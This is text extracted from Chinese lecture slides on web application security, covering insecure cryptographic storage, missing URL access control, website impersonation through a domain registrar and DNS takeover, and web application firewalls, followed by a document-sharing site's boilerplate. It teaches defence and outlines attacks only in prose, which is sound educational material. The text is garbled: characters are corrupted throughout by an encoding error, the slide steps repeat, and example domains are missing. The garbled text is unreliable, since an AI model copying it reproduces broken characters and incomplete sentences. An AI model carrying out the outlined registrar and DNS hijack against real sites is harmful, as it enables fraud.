6、不安全的加密存儲常見的問題:對敏感信息沒有加密;繼續(xù)使用已被證明加密強(qiáng)度不高的算法(MD5,SHA-1,RC3,RC4,etc.);加密方法使用不安全,比如對加密口令的存儲不加保護(hù);嘗試使用自己發(fā)明的加密方法(實踐證明這種方法比較糟糕?。?。6、不安全的加密存儲示例CustomCodeAccountsFinanceAdministrationTransactionsCommunicationKnowledgeMgmtE-CommerceBus.Functions1用戶在Web表單中填寫信用卡號提交2由于商家的網(wǎng)關(guān)不可達(dá),交易失敗,錯誤處理日志將問題詳細(xì)記錄下來4使用惡意代碼從日志文件中偷取數(shù)萬計的信用卡號Logfiles3日志文件可被相關(guān)IT職員訪問,用于程序調(diào)試6、防御不安全的加密存儲如非必要,不要保存敏感信息;確保所有的敏感信息都被加密,檢查敏感信息的歸檔過程和政策;只使用經(jīng)過證明的標(biāo)準(zhǔn)加密算法;小心存儲口令、證書等信息。7、URL訪問缺少限制
Frequently,anapplicationonlyprotectssensitivefunctionalitybypreventingthedisplayoflinksorURLstounauthorizedusers.AttackerscanusethisweaknesstoaccessandperformunauthorizedoperationsbyaccessingthoseURLsdirectly.OWASPDefinition
7、URL訪問缺少限制當(dāng)Web應(yīng)用缺少對某些URL的訪問限制,攻擊者可以直接在瀏覽器中輸入URL來訪問。比如:Add_account_form.php在顯示這個表單頁時要先對用戶的管理員角色進(jìn)行驗證;表單填好后發(fā)送給add_acct.php執(zhí)行添加帳號的功能;
如果不限制add_acct.php的直接訪問,攻擊者直接在瀏覽器中訪問該頁面,就繞過了權(quán)限檢查。7、防御缺少限制的URL訪問從需求階段就要制定詳細(xì)的安全策略;從頁面到每一個功能,都只由相應(yīng)的經(jīng)過認(rèn)證的角色來訪問;訪問控制策略越簡單越好。從早期做起!徹底地測試!進(jìn)行詳盡地測試保證訪問控制沒有被旁路;嘗試所有的非法訪問;測試時不要跟隨Web應(yīng)用的正常工作流;攻擊目標(biāo)網(wǎng)站域名注冊服務(wù)提供商
修改目標(biāo)網(wǎng)站域名記錄
申請網(wǎng)站證書
偽裝成目標(biāo)網(wǎng)站8、組合攻擊實現(xiàn)網(wǎng)站假冒攻擊目標(biāo)網(wǎng)站域名注冊服務(wù)提供商
修改目標(biāo)網(wǎng)站域名記錄
申請網(wǎng)站證書
偽裝成目標(biāo)網(wǎng)站8、組合攻擊實現(xiàn)網(wǎng)站假冒攻擊目標(biāo)網(wǎng)站域名注冊服務(wù)提供商
修改目標(biāo)網(wǎng)站域名記錄
申請網(wǎng)站證書
偽裝成目標(biāo)網(wǎng)站8、組合攻擊實現(xiàn)網(wǎng)站假冒通過查看的域名系統(tǒng)(DNS)記錄,發(fā)現(xiàn)指向的是馬來西亞的Internet地址:9攻擊者還從Let’sEncrypt獲得了的免費加密證書。題外話,Let’sEncrypt證書已經(jīng)被黑客用的極度泛濫了8、組合攻擊實現(xiàn)網(wǎng)站假冒此外,IP被解析到域名8、組合攻擊實現(xiàn)網(wǎng)站假冒1Web應(yīng)用體系結(jié)構(gòu)脆弱性分析常見Web應(yīng)用攻擊及防范內(nèi)容提綱2Web應(yīng)用防火墻WAF3有了網(wǎng)絡(luò)防火墻,為什么還不夠?WAFWeb應(yīng)用防火墻(WebApplicationFirewall,WAF)是一種專門保護(hù)Web應(yīng)用免受本章前面介紹的各種Web應(yīng)用攻擊的安全防護(hù)系統(tǒng),對每一個HTTP/HTTPS請求進(jìn)行內(nèi)容檢測和驗證,確保每個用戶請求有效且安全的情況下才交給Web服務(wù)器處理,對非法的請求予以實時阻斷或隔離、記錄、告警等,確保Web應(yīng)用的安全性WAFWAF基本安全功能:防止常見的各類網(wǎng)絡(luò)攻擊,如:SQL注入、XSS跨站、CSRF、網(wǎng)頁后門等;防止各類自動化攻擊,如:暴力破解、撞庫、批量注冊、自動發(fā)貼等;阻止其它常見威脅,如:爬蟲、0DAY攻擊、代碼分析、嗅探、數(shù)據(jù)篡改、越權(quán)訪問、敏感信息泄漏、應(yīng)用層DDoS、盜鏈、越權(quán)、掃描等。WAF基本安全功能:WAF基本原理WAF主要提供對Web應(yīng)用層數(shù)據(jù)的解析,對不同的編碼方式做強(qiáng)制多重轉(zhuǎn)換還原為可分析的明文,對轉(zhuǎn)換后的消息進(jìn)行深度分析。主要的分析方法主要有兩類,一類是基于規(guī)則的分析方法,另一類是異常檢測方法WAFWAF部署WAF部署在Web服務(wù)器的前面,一般是串行接入,不僅在硬件性能上要求高,而且不能影響Web服務(wù),同時還要與負(fù)載均衡、WebCache等Web服務(wù)器前的常見產(chǎn)品協(xié)調(diào)部署WAFWAF部署WAF的部署模式有三種:反向代理、透明代理、旁路。常用的是反向、透明兩種模式,因為旁路只有監(jiān)聽功能,不能對訪問進(jìn)行攔截、沒有防護(hù)能力,因此使用的較少。WAFWAF部署:反向代理WAF反向代碼WAF原始服務(wù)器用戶WAF部署:透明代理WAF透明代碼WAF原始服務(wù)器用戶WAF部署:WAFWAF部署WAFWAF部署WAF與網(wǎng)絡(luò)防火墻能一起部署嗎?WAF產(chǎn)品WAFWAFAWSWAFWAFWAF的安全性W
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 2024銅門制安工程賠償合同
- 2025年度不銹鋼板材行業(yè)綠色制造與可持續(xù)發(fā)展合同范本2篇
- 2024藥品研發(fā)項目合作開發(fā)與成果轉(zhuǎn)讓合同3篇
- 2025年度智能倉儲物流服務(wù)合同范本二零二五年度4篇
- 《銀伯爵珠寶培訓(xùn)》課件
- 2024版商鋪轉(zhuǎn)讓協(xié)議書范本
- 中國魔芋素食品行業(yè)發(fā)展前景預(yù)測及投資方向研究報告
- 2025年水電工程安裝與智能化改造合同范本
- 2025年鞍鋼集團(tuán)工程技術(shù)有限公司招聘筆試參考題庫含答案解析
- 2025年中咨工程管理咨詢有限公司招聘筆試參考題庫含答案解析
- 導(dǎo)尿及留置導(dǎo)尿技術(shù)
- 情人合同范例
- 建筑公司勞務(wù)合作協(xié)議書范本
- 安徽省合肥市2023-2024學(xué)年高一上學(xué)期物理期末試卷(含答案)
- 《基于杜邦分析法的公司盈利能力研究的國內(nèi)外文獻(xiàn)綜述》2700字
- 儒家思想講解課程設(shè)計
- 2024年個人汽車抵押借款合同范本(四篇)
- 2024-2025學(xué)年九年級化學(xué)上冊 第二單元 單元測試卷(人教版)
- 軌道交通設(shè)備更新項目可行性研究報告-超長期國債
- 2024-2030年中國一氧化二氮氣體行業(yè)市場發(fā)展趨勢與前景展望戰(zhàn)略分析報告
- NB/T 11446-2023煤礦連采連充技術(shù)要求
評論
0/150
提交評論